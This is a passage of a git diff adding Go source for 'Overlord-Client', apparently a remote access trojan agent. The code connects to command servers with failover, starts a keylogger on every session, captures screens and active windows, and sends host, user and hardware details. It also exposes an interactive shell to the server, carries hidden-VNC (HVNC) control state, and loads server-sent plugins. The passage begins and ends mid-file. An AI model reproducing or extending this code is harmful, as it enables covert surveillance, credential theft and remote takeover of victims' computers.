+ m.handlePluginMessage(pi.id, msg)
+ }
+}
+
+func (m *Manager) readStderr(pi *pluginInstance) {
+ defer func() {
+ if r := recover(); r != nil {
+ log.Printf("[plugin] %s stderr loop panic: %v", pi.id, r)
+ }
+ }()
+ buf := make([]byte, 4096)
+ for {
+ n, err := pi.stderr.Read(buf)
+ if n > 0 {
+ log.Printf("[plugin] %s stderr: %s", pi.id, string(buf[:n]))
+ }
+ if err != nil {
+ return
+ }
+ }
+}
+
+func (m *Manager) handlePluginMessage(pluginId string, msg map[string]interface{}) {
+ msgType, _ := msg["type"].(string)
+ if msgType == "log" {
+ log.Printf("[plugin] %s log: %v", pluginId, msg["payload"])
+ return
+ }
+ if msgType == "event" {
+ event, _ := msg["event"].(string)
+ payload := msg["payload"]
+ if event == "" {
+ return
+ }
+ err := wire.WriteMsg(context.Background(), m.writer, wire.PluginEvent{
+ Type: "plugin_event",
+ PluginID: pluginId,
+ Event: event,
+ Payload: payload,
+ })
+ if err != nil {
+ log.Printf("[plugin] %s send event error: %v", pluginId, err)
+ }
+ return
+ }
+}
+
+func (pi *pluginInstance) Close() error {
+ pi.cancel()
+ _ = pi.stdin.Close()
+ _ = pi.stdout.Close()
+ _ = pi.stderr.Close()
+ if pi.module != nil {
+ _ = pi.module.Close(context.Background())
+ }
+ if pi.runtime != nil {
+ _ = pi.runtime.Close(context.Background())
+ }
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/plugins/panic_guard.go b/Overlord-Client/cmd/agent/plugins/panic_guard.go
new file mode 100644
index 0000000..87885cd
--- /dev/null
+++ b/Overlord-Client/cmd/agent/plugins/panic_guard.go
@@ -0,0 +1,56 @@
+package plugins
+
+import (
+ "context"
+ "fmt"
+ "log"
+ "os"
+ "path/filepath"
+ "runtime"
+ "runtime/debug"
+ "time"
+)
+
+const crashLogFileName = "crashlogC.log"
+
+func goSafe(label string, cancel context.CancelFunc, fn func()) {
+ go func() {
+ defer recoverAndLog(label, cancel)
+ fn()
+ }()
+}
+
+func recoverAndLog(label string, cancel context.CancelFunc) {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("%s panic: %v", label, r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("[panic] %s (see %s)", reason, path)
+ if cancel != nil {
+ cancel()
+ }
+ }
+}
+
+func writeCrashLog(reason string, stack []byte) string {
+ dir := os.TempDir()
+ _ = os.MkdirAll(dir, 0700)
+ path := filepath.Join(dir, crashLogFileName)
+
+ file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+ if err != nil {
+ log.Printf("[panic] failed to open crash log %s: %v", path, err)
+ return path
+ }
+ defer file.Close()
+
+ timestamp := time.Now().UTC().Format(time.RFC3339)
+ _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
+ _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
+ _, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
+ if len(stack) > 0 {
+ _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
+ }
+
+ return path
+}
diff --git a/Overlord-Client/cmd/agent/plugins/types.go b/Overlord-Client/cmd/agent/plugins/types.go
new file mode 100644
index 0000000..d4b63b0
--- /dev/null
+++ b/Overlord-Client/cmd/agent/plugins/types.go
@@ -0,0 +1,64 @@
+package plugins
+
+import "errors"
+
+type PluginAssets struct {
+ HTML string `msgpack:"html" json:"html"`
+ CSS string `msgpack:"css" json:"css"`
+ JS string `msgpack:"js" json:"js"`
+}
+
+type PluginManifest struct {
+ ID string `msgpack:"id" json:"id"`
+ Name string `msgpack:"name" json:"name"`
+ Version string `msgpack:"version,omitempty" json:"version,omitempty"`
+ Description string `msgpack:"description,omitempty" json:"description,omitempty"`
+ Binary string `msgpack:"binary,omitempty" json:"binary,omitempty"`
+ Entry string `msgpack:"entry,omitempty" json:"entry,omitempty"`
+ Assets PluginAssets `msgpack:"assets,omitempty" json:"assets,omitempty"`
+}
+
+type PluginMessage struct {
+ Type string `msgpack:"type"`
+ Event string `msgpack:"event,omitempty"`
+ Payload interface{} `msgpack:"payload,omitempty"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type HostInfo struct {
+ ClientID string `msgpack:"clientId"`
+ OS string `msgpack:"os"`
+ Arch string `msgpack:"arch"`
+ Version string `msgpack:"version"`
+}
+
+func ManifestFromMap(m map[string]interface{}) (PluginManifest, error) {
+ manifest := PluginManifest{}
+ manifest.ID = stringVal(m["id"])
+ manifest.Name = stringVal(m["name"])
+ manifest.Version = stringVal(m["version"])
+ manifest.Description = stringVal(m["description"])
+ manifest.Binary = stringVal(m["binary"])
+ manifest.Entry = stringVal(m["entry"])
+
+ if assetsRaw, ok := m["assets"].(map[string]interface{}); ok {
+ manifest.Assets = PluginAssets{
+ HTML: stringVal(assetsRaw["html"]),
+ CSS: stringVal(assetsRaw["css"]),
+ JS: stringVal(assetsRaw["js"]),
+ }
+ }
+
+ if manifest.ID == "" {
+ return PluginManifest{}, errors.New("missing plugin id")
+ }
+ if manifest.Name == "" {
+ manifest.Name = manifest.ID
+ }
+ return manifest, nil
+}
+
+func stringVal(v interface{}) string {
+ s, _ := v.(string)
+ return s
+}
diff --git a/Overlord-Client/cmd/agent/runtime/console.go b/Overlord-Client/cmd/agent/runtime/console.go
new file mode 100644
index 0000000..e7f8383
--- /dev/null
+++ b/Overlord-Client/cmd/agent/runtime/console.go
@@ -0,0 +1,209 @@
+package runtime
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "os"
+ "os/exec"
+ "runtime"
+ "sync"
+ "syscall"
+
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/creack/pty"
+)
+
+type ConsoleHub struct {
+ env *Env
+ mu sync.Mutex
+ sessions map[string]*ConsoleSession
+}
+
+type ConsoleSession struct {
+ id string
+ cmd *exec.Cmd
+ pty *os.File
+ cancel context.CancelFunc
+ once sync.Once
+}
+
+type ConsoleStartRequest struct {
+ SessionID string
+ Cols int
+ Rows int
+}
+
+func NewConsoleHub(env *Env) *ConsoleHub {
+ return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)}
+}
+
+func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error {
+ if req.SessionID == "" {
+ return fmt.Errorf("missing session id")
+ }
+
+ cols := uint16(req.Cols)
+ rows := uint16(req.Rows)
+ if cols == 0 {
+ cols = 120
+ }
+ if rows == 0 {
+ rows = 36
+ }
+
+ h.mu.Lock()
+ if existing, ok := h.sessions[req.SessionID]; ok {
+ existing.close()
+ delete(h.sessions, req.SessionID)
+ }
+ h.mu.Unlock()
+
+ shell := detectShell()
+ sessionCtx, cancel := context.WithCancel(ctx)
+ cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...)
+ cmd.Env = os.Environ()
+
+ ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
+ if err != nil {
+ cancel()
+ h.emitError(ctx, req.SessionID, err)
+ return err
+ }
+
+ sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel}
+ h.mu.Lock()
+ h.sessions[req.SessionID] = sess
+ h.mu.Unlock()
+
+ go h.forwardOutput(sessionCtx, sess)
+ return nil
+}
+
+func (h *ConsoleHub) Write(ctx context.Context, sessionID string, data string) error {
+ sess := h.get(sessionID)
+ if sess == nil {
+ return fmt.Errorf("session not found")
+ }
+ _, err := sess.pty.Write([]byte(data))
+ return err
+}
+
+func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error {
+ sess := h.get(sessionID)
+ if sess == nil {
+ return fmt.Errorf("session not found")
+ }
+ if cols <= 0 {
+ cols = 120
+ }
+ if rows <= 0 {
+ rows = 36
+ }
+ return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)})
+}
+
+func (h *ConsoleHub) Stop(sessionID string) {
+ h.mu.Lock()
+ sess := h.sessions[sessionID]
+ delete(h.sessions, sessionID)
+ h.mu.Unlock()
+ if sess != nil {
+ sess.close()
+ }
+}
+
+func (h *ConsoleHub) StopAll() {
+ if h == nil {
+ return
+ }
+ h.mu.Lock()
+ ids := make([]string, 0, len(h.sessions))
+ for id := range h.sessions {
+ ids = append(ids, id)
+ }
+ h.mu.Unlock()
+ for _, id := range ids {
+ h.Stop(id)
+ }
+}
+
+func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
+ buf := make([]byte, 4096)
+ for {
+ n, err := sess.pty.Read(buf)
+ if n > 0 {
+ chunk := make([]byte, n)
+ copy(chunk, buf[:n])
+ _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
+ }
+ if err != nil {
+ if err != io.EOF {
+ h.emitError(ctx, sess.id, err)
+ }
+ break
+ }
+ }
+
+ if sess.cmd != nil {
+ _ = sess.cmd.Wait()
+ }
+ exitCode := extractExitCode(sess.cmd)
+ _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
+
+ h.mu.Lock()
+ delete(h.sessions, sess.id)
+ h.mu.Unlock()
+ sess.close()
+}
+
+func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) {
+ _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
+}
+
+func (h *ConsoleHub) get(sessionID string) *ConsoleSession {
+ h.mu.Lock()
+ defer h.mu.Unlock()
+ return h.sessions[sessionID]
+}
+
+func (sess *ConsoleSession) close() {
+ sess.once.Do(func() {
+ if sess.cancel != nil {
+ sess.cancel()
+ }
+ if sess.cmd != nil && sess.cmd.Process != nil {
+ _ = sess.cmd.Process.Kill()
+ }
+ if sess.pty != nil {
+ _ = sess.pty.Close()
+ }
+ })
+}
+
+func detectShell() []string {
+ if runtime.GOOS == "windows" {
+ if c := os.Getenv("COMSPEC"); c != "" {
+ return []string{c}
+ }
+ return []string{"cmd.exe"}
+ }
+ if sh := os.Getenv("SHELL"); sh != "" {
+ return []string{sh, "-l"}
+ }
+ if runtime.GOOS == "darwin" {
+ return []string{"/bin/zsh", "-l"}
+ }
+ return []string{"/bin/bash", "-l"}
+}
+
+func extractExitCode(cmd *exec.Cmd) int {
+ if cmd == nil || cmd.ProcessState == nil {
+ return -1
+ }
+ if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok {
+ return status.ExitStatus()
+ }
+ return -1
+}
diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go
new file mode 100644
index 0000000..6a7582a
--- /dev/null
+++ b/Overlord-Client/cmd/agent/runtime/env.go
@@ -0,0 +1,110 @@
+package runtime
+
+import (
+ "context"
+ "os"
+ "sync"
+ "sync/atomic"
+ "time"
+
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/keylogger"
+ "overlord-client/cmd/agent/plugins"
+ "overlord-client/cmd/agent/wire"
+)
+
+type Env struct {
+ Conn wire.Writer
+ Cfg config.Config
+ Cancel context.CancelFunc
+ Console *ConsoleHub
+ SelectedDisplay int
+ MouseControl bool
+ KeyboardControl bool
+ CursorCapture bool
+ DesktopDuplication bool
+ DesktopCancel context.CancelFunc
+ DesktopDone chan struct{}
+ DesktopMu sync.Mutex
+ // HVNC fields
+ HVNCSelectedDisplay int
+ HVNCMouseControl bool
+ HVNCKeyboardControl bool
+ HVNCCursorCapture bool
+ HVNCCancel context.CancelFunc
+ HVNCDone chan struct{}
+ HVNCMu sync.Mutex
+ // Other fields
+ Plugins *plugins.Manager
+ Keylogger *keylogger.Keylogger
+ NotificationMu sync.RWMutex
+ NotificationKeywords []string
+ NotificationMinIntervalMs int
+ LastPongUnixMs int64
+}
+
+func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) {
+ e.NotificationMu.Lock()
+ e.NotificationKeywords = keywords
+ if minIntervalMs > 0 {
+ e.NotificationMinIntervalMs = minIntervalMs
+ }
+ e.NotificationMu.Unlock()
+}
+
+func (e *Env) GetNotificationKeywords() []string {
+ e.NotificationMu.RLock()
+ defer e.NotificationMu.RUnlock()
+ if len(e.NotificationKeywords) == 0 {
+ return nil
+ }
+ out := make([]string, len(e.NotificationKeywords))
+ copy(out, e.NotificationKeywords)
+ return out
+}
+
+func (e *Env) GetNotificationMinIntervalMs() int {
+ e.NotificationMu.RLock()
+ defer e.NotificationMu.RUnlock()
+ return e.NotificationMinIntervalMs
+}
+
+func (e *Env) SetLastPong(tsMillis int64) {
+ if tsMillis <= 0 {
+ tsMillis = time.Now().UnixMilli()
+ }
+ atomic.StoreInt64(&e.LastPongUnixMs, tsMillis)
+}
+
+func (e *Env) LastPong() time.Time {
+ ms := atomic.LoadInt64(&e.LastPongUnixMs)
+ if ms <= 0 {
+ return time.Time{}
+ }
+ return time.UnixMilli(ms)
+}
+
+func Hostname() string {
+ h, err := os.Hostname()
+ if err != nil {
+ return "unknown"
+ }
+ return h
+}
+
+func CurrentUser() string {
+ if u := os.Getenv("USERNAME"); u != "" {
+ return u
+ }
+ if u := os.Getenv("USER"); u != "" {
+ return u
+ }
+ return "unknown"
+}
+
+func MinDuration(a, b time.Duration) time.Duration {
+ if a < b {
+ return a
+ }
+ return b
+}
diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go
new file mode 100644
index 0000000..fcf785c
--- /dev/null
+++ b/Overlord-Client/cmd/agent/session.go
@@ -0,0 +1,515 @@
+package main
+
+import (
+ "context"
+ "crypto/tls"
+ "crypto/x509"
+ "errors"
+ "fmt"
+ "log"
+ "math/rand"
+ "net/http"
+ "os"
+ "runtime"
+ "runtime/debug"
+ "strconv"
+ "strings"
+ "time"
+
+ "overlord-client/cmd/agent/activewindow"
+ "overlord-client/cmd/agent/capture"
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/handlers"
+ "overlord-client/cmd/agent/keylogger"
+ "overlord-client/cmd/agent/plugins"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "nhooyr.io/websocket"
+)
+
+func runClient(cfg config.Config) {
+ baseBackoff := computeBaseBackoff()
+ backoff := baseBackoff
+ log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
+
+ ensureServerURLs(&cfg, baseBackoff)
+
+ if len(cfg.ServerURLs) > 1 {
+ log.Printf("Failover enabled with %d servers:", len(cfg.ServerURLs))
+ for i, url := range cfg.ServerURLs {
+ marker := ""
+ if i == cfg.ServerIndex {
+ marker = " (starting here)"
+ }
+ log.Printf(" [%d] %s%s", i, url, marker)
+ }
+ }
+
+ tlsMinVersion := uint16(tls.VersionTLS12)
+ transport := createHTTPTransport(cfg, tlsMinVersion)
+ currentIndex := cfg.ServerIndex
+ consecutiveFailures := 0
+ // idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
+ allowTLSDowngrade := false
+
+ for {
+
+ if currentIndex >= len(cfg.ServerURLs) {
+ currentIndex = 0
+ }
+
+ currentServer := cfg.ServerURLs[currentIndex]
+ ctx, cancel := context.WithCancel(context.Background())
+ url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
+
+ opts := buildDialOptions(cfg, transport)
+
+ serverInfo := ""
+ if len(cfg.ServerURLs) > 1 {
+ serverInfo = fmt.Sprintf(" [%d/%d]", currentIndex+1, len(cfg.ServerURLs))
+ }
+ log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
+
+ conn, _, err := websocket.Dial(ctx, url, opts)
+ if err != nil {
+ log.Printf("dial failed: %v (retrying in %s)", err, backoff)
+ consecutiveFailures++
+
+ if shouldRefreshRawList(cfg, consecutiveFailures) {
+ if refreshServerURLsFromRaw(&cfg) {
+ currentIndex = 0
+ consecutiveFailures = 0
+ }
+ }
+
+ if len(cfg.ServerURLs) > 1 {
+ currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
+ log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
+ }
+
+ time.Sleep(backoff)
+ cancel()
+ continue
+ }
+
+ if currentIndex != cfg.ServerIndex {
+ if err := config.SaveServerIndex(currentIndex); err != nil {
+ log.Printf("Warning: failed to save server index: %v", err)
+ }
+ }
+
+ backoff = baseBackoff
+ consecutiveFailures = 0
+ log.Printf("connected successfully to %s%s", currentServer, serverInfo)
+
+ conn.SetReadLimit(8 * 1024 * 1024)
+
+ var sessionErr error
+ if err := runSession(ctx, cancel, conn, cfg); err != nil {
+ sessionErr = err
+ if allowTLSDowngrade && isTLSVersionError(err) {
+ log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility")
+ tlsMinVersion = uint16(tls.VersionTLS10)
+ transport = createHTTPTransport(cfg, tlsMinVersion)
+ allowTLSDowngrade = false
+ }
+ log.Printf("session ended: %v (retrying in %s)", err, backoff)
+
+ if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) {
+ if refreshServerURLsFromRaw(&cfg) {
+ currentIndex = 0
+ consecutiveFailures = 0
+ }
+ }
+
+ if len(cfg.ServerURLs) > 1 {
+ currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
+ log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
+ }
+ }
+
+ sleepFor := backoff
+ if sessionErr != nil && shouldRetryImmediately(sessionErr) {
+ sleepFor = reconnectDelay()
+ log.Printf("reconnect: immediate retry in %s", sleepFor)
+ }
+ time.Sleep(sleepFor)
+ }
+}
+
+func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
+ headers := http.Header{}
+ if token := strings.TrimSpace(cfg.AgentToken); token != "" {
+ headers.Set("x-agent-token", token)
+ }
+ return &websocket.DialOptions{
+ Subprotocols: []string{"binary"},
+ HTTPClient: &http.Client{Transport: transport},
+ HTTPHeader: headers,
+ CompressionMode: websocket.CompressionContextTakeover,
+ }
+}
+
+func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
+ if len(cfg.ServerURLs) > 0 {
+ return
+ }
+
+ if cfg.RawServerListURL == "" {
+ log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
+ cfg.ServerURLs = []string{config.DefaultServerURL}
+ return
+ }
+
+ log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
+ for len(cfg.ServerURLs) == 0 {
+ if refreshServerURLsFromRaw(cfg) {
+ return
+ }
+ log.Printf("Retrying raw server list fetch in %s", backoff)
+ time.Sleep(backoff)
+ }
+}
+
+func shouldRefreshRawList(cfg config.Config, failures int) bool {
+ if cfg.RawServerListURL == "" {
+ return false
+ }
+ if len(cfg.ServerURLs) == 0 {
+ return true
+ }
+ return failures >= len(cfg.ServerURLs)
+}
+
+func refreshServerURLsFromRaw(cfg *config.Config) bool {
+ urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
+ if err != nil {
+ log.Printf("[config] WARNING: failed to refresh raw server list: %v", err)
+ return false
+ }
+
+ if len(urls) == 0 {
+ log.Printf("[config] WARNING: raw server list returned no URLs")
+ return false
+ }
+
+ if !equalStringSlices(cfg.ServerURLs, urls) {
+ log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
+ cfg.ServerURLs = urls
+ }
+ return true
+}
+
+func equalStringSlices(a, b []string) bool {
+ if len(a) != len(b) {
+ return false
+ }
+ for i := range a {
+ if a[i] != b[i] {
+ return false
+ }
+ }
+ return true
+}
+
+func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
+ tlsConfig := &tls.Config{
+ InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
+ MinVersion: minVersion,
+ }
+
+ if cfg.TLSCAPath != "" {
+ caCert, err := os.ReadFile(cfg.TLSCAPath)
+ if err != nil {
+ log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err)
+ } else {
+ caCertPool := x509.NewCertPool()
+ if caCertPool.AppendCertsFromPEM(caCert) {
+ tlsConfig.RootCAs = caCertPool
+ log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath)
+ } else {
+ log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath)
+ }
+ }
+ }
+
+ if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" {
+ cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey)
+ if err != nil {
+ log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err)
+ } else {
+ tlsConfig.Certificates = []tls.Certificate{cert}
+ log.Printf("[TLS] Loaded client certificate for mutual TLS")
+ }
+ }
+
+ if cfg.TLSInsecureSkipVerify {
+ log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
+ }
+
+ transport := http.DefaultTransport.(*http.Transport).Clone()
+ transport.TLSClientConfig = tlsConfig
+ return transport
+}
+
+func isTLSVersionError(err error) bool {
+ if err == nil {
+ return false
+ }
+ msg := strings.ToLower(err.Error())
+ return strings.Contains(msg, "protocol version not supported") ||
+ strings.Contains(msg, "tls: protocol version not supported")
+}
+
+func computeBaseBackoff() time.Duration {
+ mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
+ _ = mode
+ return randomReconnectDelay(10*time.Second, 30*time.Second)
+}
+
+func reconnectDelay() time.Duration {
+ raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
+ if raw == "" {
+ return randomReconnectDelay(10*time.Second, 30*time.Second)
+ }
+ ms, err := strconv.Atoi(raw)
+ if err != nil || ms < 0 {
+ log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw)
+ return randomReconnectDelay(10*time.Second, 30*time.Second)
+ }
+ if ms == 0 {
+ return 0
+ }
+ return time.Duration(ms) * time.Millisecond
+}
+
+var reconnectRng = rand.New(rand.NewSource(time.Now().UnixNano()))
+
+func randomReconnectDelay(min, max time.Duration) time.Duration {
+ if max <= min {
+ return min
+ }
+ delta := max - min
+ n := time.Duration(reconnectRng.Int63n(int64(delta) + 1))
+ return min + n
+}
+
+func shouldRetryImmediately(err error) bool {
+ if err == nil {
+ return false
+ }
+ if errors.Is(err, handlers.ErrReconnect) {
+ return true
+ }
+ var closeErr *websocket.CloseError
+ if errors.As(err, &closeErr) {
+ if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
+ return true
+ }
+ if closeErr.Code == websocket.StatusAbnormalClosure {
+ return true
+ }
+ }
+ msg := strings.ToLower(err.Error())
+ if strings.Contains(msg, "timed out from inactivity") {
+ return true
+ }
+ return false
+}
+
+func getPingInterval() time.Duration {
+ raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS"))
+ if raw == "" {
+ return 30 * time.Second
+ }
+ ms, err := strconv.Atoi(raw)
+ if err != nil {
+ log.Printf("[ping] invalid OVERLORD_PING_INTERVAL_MS=%q, using 30000ms", raw)
+ return 30 * time.Second
+ }
+ if ms <= 0 {
+ return 0
+ }
+ return time.Duration(ms) * time.Millisecond
+}
+
+func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
+ defer func() {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("session panic: %v", r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("%s (see %s)", reason, path)
+ err = fmt.Errorf("session panic: %v", r)
+ }
+ }()
+ defer cancel()
+ defer conn.Close(websocket.StatusNormalClosure, "bye")
+
+ safeWriter := wire.NewSafeWriter(conn)
+ env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
+ env.SetLastPong(time.Now().UnixMilli())
+ env.Console = rt.NewConsoleHub(env)
+ env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
+ defer env.Plugins.Close()
+
+ env.Keylogger = keylogger.New()
+ if err := env.Keylogger.Start(); err != nil {
+ log.Printf("[keylogger] Failed to start: %v", err)
+ } else {
+ defer env.Keylogger.Stop()
+ }
+
+ dispatcher := handlers.NewDispatcher(env)
+
+ osVal := strings.TrimSpace(cfg.OS)
+ if osVal == "" {
+ osVal = runtime.GOOS
+ }
+
+ archVal := strings.TrimSpace(cfg.Arch)
+ if archVal == "" {
+ archVal = runtime.GOARCH
+ }
+
+ hello := wire.Hello{
+ Type: "hello",
+ ID: cfg.ID,
+ HWID: cfg.HWID,
+ Host: rt.Hostname(),
+ OS: osVal,
+ Arch: archVal,
+ Version: cfg.Version,
+ User: rt.CurrentUser(),
+ Monitors: capture.MonitorCount(),
+ MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
+ Country: cfg.Country,
+ }
+
+ if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
+ return fmt.Errorf("send hello: %w", err)
+ }
+
+ if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil {
+ log.Printf("ping: failed to send initial ping: %v", err)
+ cancel()
+ return fmt.Errorf("send initial ping: %w", err)
+ }
+
+ if interval := getPingInterval(); interval > 0 {
+ log.Printf("ping: heartbeat interval=%s", interval)
+ goSafe("ping loop", cancel, func() {
+ ticker := time.NewTicker(interval)
+ defer ticker.Stop()
+ for {
+ select {
+ case <-ctx.Done():
+ return
+ case <-ticker.C:
+ ping := wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}
+ if err := wire.WriteMsg(ctx, env.Conn, ping); err != nil {
+ log.Printf("ping: failed to send: %v", err)
+ cancel()
+ return
+ }
+ }
+ }
+ })
+ goSafe("pong watchdog", cancel, func() {
+ grace := interval + (10 * time.Second)
+ if grace < 20*time.Second {
+ grace = 20 * time.Second
+ }
+ ticker := time.NewTicker(interval)
+ defer ticker.Stop()
+ for {
+ select {
+ case <-ctx.Done():
+ return
+ case <-ticker.C:
+ last := env.LastPong()
+ if !last.IsZero() && time.Since(last) > grace {
+ log.Printf("ping: no pong for %s, forcing reconnect", time.Since(last))
+ cancel()
+ return
+ }
+ }
+ }
+ })
+ }
+
+ readErr := make(chan error, 1)
+ go func() {
+ defer func() {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("readLoop panic: %v", r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("%s (see %s)", reason, path)
+ err := fmt.Errorf("%s", reason)
+ select {
+ case readErr <- err:
+ default:
+ }
+ cancel()
+ }
+ }()
+
+ if err := readLoop(ctx, conn, env, dispatcher); err != nil {
+ log.Printf("readLoop ended: %v", err)
+ select {
+ case readErr <- err:
+ default:
+ }
+ cancel()
+ }
+ }()
+
+ shotCtx, cancelShots := context.WithCancel(ctx)
+ defer cancelShots()
+ goSafe("capture loop", cancel, func() {
+ capture.Loop(shotCtx, env)
+ })
+
+ goSafe("activewindow", nil, func() {
+ if err := activewindow.Start(ctx, env); err != nil {
+ log.Printf("activewindow error: %v", err)
+ }
+ })
+
+ return <-readErr
+}
+
+func toWireMonitorInfo(infos []capture.MonitorInfo) []wire.MonitorInfo {
+ if len(infos) == 0 {
+ return nil
+ }
+ out := make([]wire.MonitorInfo, 0, len(infos))
+ for _, info := range infos {
+ out = append(out, wire.MonitorInfo{Width: info.Width, Height: info.Height})
+ }
+ return out
+}
+
+func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher *handlers.Dispatcher) error {
+ for {
+ _, data, err := conn.Read(ctx)
+ if err != nil {
+ if ctx.Err() != nil {
+ return err
+ }
+ log.Printf("readLoop: read error: %v", err)
+ return err
+ }
+ envelope, err := wire.DecodeEnvelope(data)
+ if err != nil {
+ log.Printf("decode: %v (bytes=%d)", err, len(data))
+ continue
+ }
+ if err := dispatcher.Dispatch(ctx, envelope); err != nil {
+ log.Printf("dispatcher error: %v (type=%v)", err, envelope["type"])
+ return err
+ }
+ }
+}
diff --git a/Overlord-Client/cmd/agent/session_helpers_test.go b/Overlord-Client/cmd/agent/session_helpers_test.go
new file mode 100644
index 0000000..1d748d0
--- /dev/null
+++ b/Overlord-Client/cmd/agent/session_helpers_test.go
@@ -0,0 +1,135 @@
+package main
+
+import (
+ "errors"
+ "net/http"
+ "os"
+ "testing"
+ "time"
+
+ "overlord-client/cmd/agent/config"
+ "overlord-client/cmd/agent/handlers"
+
+ "nhooyr.io/websocket"
+)
+
+func withEnv(key, value string, fn func()) {
+ old, ok := os.LookupEnv(key)
+ if value == "" {
+ _ = os.Unsetenv(key)
+ } else {
+ _ = os.Setenv(key, value)
+ }
+ defer func() {
+ if ok {
+ _ = os.Setenv(key, old)
+ } else {
+ _ = os.Unsetenv(key)
+ }
+ }()
+ fn()
+}
+
+func TestGetPingInterval_Default(t *testing.T) {
+ withEnv("OVERLORD_PING_INTERVAL_MS", "", func() {
+ interval := getPingInterval()
+ if interval != 30*time.Second {
+ t.Fatalf("expected 30s, got %s", interval)
+ }
+ })
+}
+
+func TestGetPingInterval_Custom(t *testing.T) {
+ withEnv("OVERLORD_PING_INTERVAL_MS", "0", func() {
+ interval := getPingInterval()
+ if interval != 0 {
+ t.Fatalf("expected 0, got %s", interval)
+ }
+ })
+}
+
+func TestGetPingInterval_Invalid(t *testing.T) {
